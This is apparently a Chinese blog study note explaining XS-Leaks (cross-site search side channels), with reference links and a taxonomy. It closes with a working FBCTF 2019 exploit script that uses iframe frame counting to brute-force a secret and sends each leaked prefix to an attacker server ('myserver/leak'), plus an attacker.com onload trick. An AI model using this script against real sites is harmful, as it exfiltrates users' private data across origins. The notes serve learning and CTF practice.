热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

XSLeaks

参考:https:xsleaks.devhttps:book.hacktricks.xyzpentesting-webxs-search简介是什么?XS-Leaks全称Cross-

参考:

https://xsleaks.dev/

https://book.hacktricks.xyz/pentesting-web/xs-search



简介


是什么?

XS-Leaks 全称 Cross-site leaks。和 csrf 较为相似,不过主要区别是 csrf 是用来让受害者执行某些操作,而xs-leaks 是用来探测用户敏感信息。


使用场景?

通常必须具有查找功能,并且有无查询结果之间的差异性可被侧信道探测到。


一个真实案例:https://medium.com/@luanherrera/xs-searching-googles-bug-tracker-to-find-out-vulnerable-source-code-50d8135b7549

一个ctf:https://sectt.github.io/writeups/FBCTF19/secret_note_keeper/README



漏洞本质?

是一类由网络平台内置的侧信道衍生出来的漏洞,滥用网络通信过程中的合法机制来推断用户的信息。

浏览器提供各种各样的功能来支持不同的网络应用程序之间的互动;例如,它允许一个网站加载子资源,导航,或发送消息给另一个应用程序。虽然这些行为通常受到网络平台内置的安全机制(如同源策略)的限制,但 XS-Leaks 利用了网站之间互动过程中暴露的小块信息。


根据这些信息来源,XS-Leaks 通常分为以下几种类型:



  1. 浏览器的 api (e.g. Frame Counting and Timing Attacks)

  2. 浏览器的实现细节和bugs (e.g. Connection Pooling and typeMustMatch)

  3. 硬件bugs (e.g. Speculative Execution Attacks 4)



使用条件?


  1. 有无查询结果之间的差异性可被某个侧信道探测到。


    注意,虽然某些 csrf 可以获取到请求的响应。但当存在同源策略时,csrf 就失效了,但 xs-leaks 可以利用侧信道判断是否成功完成请求。但也只能判断是否成功获取到,同样无法获取到具体的响应内容。所以来说通常出现的场景是类似查找功能,判断某个url是否成功访问到。




  2. 如何触发。和 csrf POST 型一样,需要诱使受害者触发执行 js 代码。所以特定功能数据包必须没有 csrf token 的保护。




如何防御?

因为这个漏洞的确使用限制比较多,漏洞危害相对较小,所以关于防御就暂时不看。放一个链接,以便后期学习。

https://xsleaks.dev/docs/defenses/


案例

简单记录几个利用的方式。以便后期回顾,写的有点凌乱,感兴趣请看原文。https://xsleaks.dev/



  1. # contentWindow.frames.length
    var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ';
    var charLen = chars.length;
    var ENDPOINT = "http://challenges.fbctf.com:8082/search?query="
    var x = document.createElement('iframe');
    function search(leak, charCounter) {
    var curChar = chars[charCounter];
    //Chek if the character is valid
    x.setAttribute("src", 'http://challenges.fbctf.com:8082/search?query=' + leak + curChar);
    document.body.appendChild(x);
    console.log("leak = " + leak + curChar);
    //When the page inside the iframe is loaded
    x.Onload= () => {
    //Check the number of iframes inside
    if (x.contentWindow.frames.length != 0) {
    // If 1 or more, then, the character was valid
    fetch('http://myserver/leak?' + escape(leak), {
    method: "POST",
    mode: "no-cors",
    credentials: "include"
    });
    leak += curChar
    }
    search(leak, (charCounter + 1) % chars.length);
    }
    }
    function exploit() {
    search("fb{", 0);
    }
    exploit();


  2. URL1: www.attacker.com/xssearch#try1
    URL2: www.attacker.com/xssearch#try2
    If the first URL was successfully loaded, then, when changing the hash part of the URL the onl oad event won't be triggered again. But if the page had some kind of error when loading, then, the onl oad event will be triggered again.




推荐阅读
author-avatar
恋之-风景-
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有